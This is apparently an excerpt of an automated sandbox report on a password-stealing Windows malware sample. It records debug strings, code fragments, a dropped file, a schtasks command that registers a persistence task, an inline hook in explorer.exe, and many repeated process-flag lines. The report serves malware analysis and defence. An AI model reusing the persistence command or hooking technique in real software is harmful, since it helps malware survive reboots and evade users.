Source:	Binary string: wntdll.pdbUGP source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 0000000A.00000003.427644663.0000000001622000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 0000000A.00000002.431531509.00000000017C0000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 0000000A.00000003.424015597.0000000001483000.00000004.00000020.00020000.00000000.sdmp, hkkRsa.exe, 0000000E.00000002.487071109.0000000000FE0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.911668789.0000000004CA0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.486692282.000000000496F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.911668789.0000000004DBF000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 0000000A.00000003.427644663.0000000001622000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 0000000A.00000002.431531509.00000000017C0000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 0000000A.00000003.424015597.0000000001483000.00000004.00000020.00020000.00000000.sdmp, hkkRsa.exe, 0000000E.00000002.487071109.0000000000FE0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.911668789.0000000004CA0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.486692282.000000000496F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.911668789.0000000004DBF000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: hkkRsa.exe, 0000000E.00000002.486732177.0000000000B89000.00000004.00000020.00020000.00000000.sdmp, hkkRsa.exe, 0000000E.00000002.489051209.0000000002BE0000.00000040.10000000.00040000.00000000.sdmp, rundll32.exe, 00000010.00000002.911333276.0000000001330000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: fOac.pdbSHA256 source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000000.385827333.0000000000982000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000010.00000002.911442424.0000000004A68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdbGCTL source: hkkRsa.exe, 0000000E.00000002.486732177.0000000000B89000.00000004.00000020.00020000.00000000.sdmp, hkkRsa.exe, 0000000E.00000002.489051209.0000000002BE0000.00000040.10000000.00040000.00000000.sdmp, rundll32.exe, 00000010.00000002.911333276.0000000001330000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: fOac.pdb source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000000.385827333.0000000000982000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000010.00000002.911442424.0000000004A68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: eex.pdb source: explorer.exe, 0000000F.00000000.477862889.00007FFA13021000.00000020.00000001.01000000.0000000B.sdmp

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 0_2_0125FB10 pushad ; retf	0_2_0125FB11
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Code function: 9_2_02E0FB10 pushad ; retf	9_2_02E0FB11
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Code function: 9_2_02E0FB12 pushad ; retf	9_2_02E0FB11
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_004178D5 pushad ; iretd	10_2_004178DC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041EA32 push ebp; ret	10_2_0041EA33
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_00417C0B push ss; iretd	10_2_00417C39
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041D4D5 push eax; ret	10_2_0041D528
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_00417D4F push ebx; ret	10_2_00417D61
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041D522 push eax; ret	10_2_0041D528
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041D52B push eax; ret	10_2_0041D592
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041E58D pushfd ; ret	10_2_0041E58E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041D58C push eax; ret	10_2_0041D592
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_004167B4 push edx; retf	10_2_004167B5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0183D0D1 push ecx; ret	10_2_0183D0E4

Source: initial sample	Static PE information: section name: .text entropy: 7.772224469495988
Source: initial sample	Static PE information: section name: .text entropy: 7.772224469495988

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

File created: C:\Users\user\AppData\Roaming\hkkRsa.exe

Jump to dropped file

Boot Survival

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hkkRsa" /XML "C:\Users\user\AppData\Local\Temp\tmpE41B.tmp

Hooking and other Techniques for Hiding and Protection

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8C 0xCE 0xE4

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
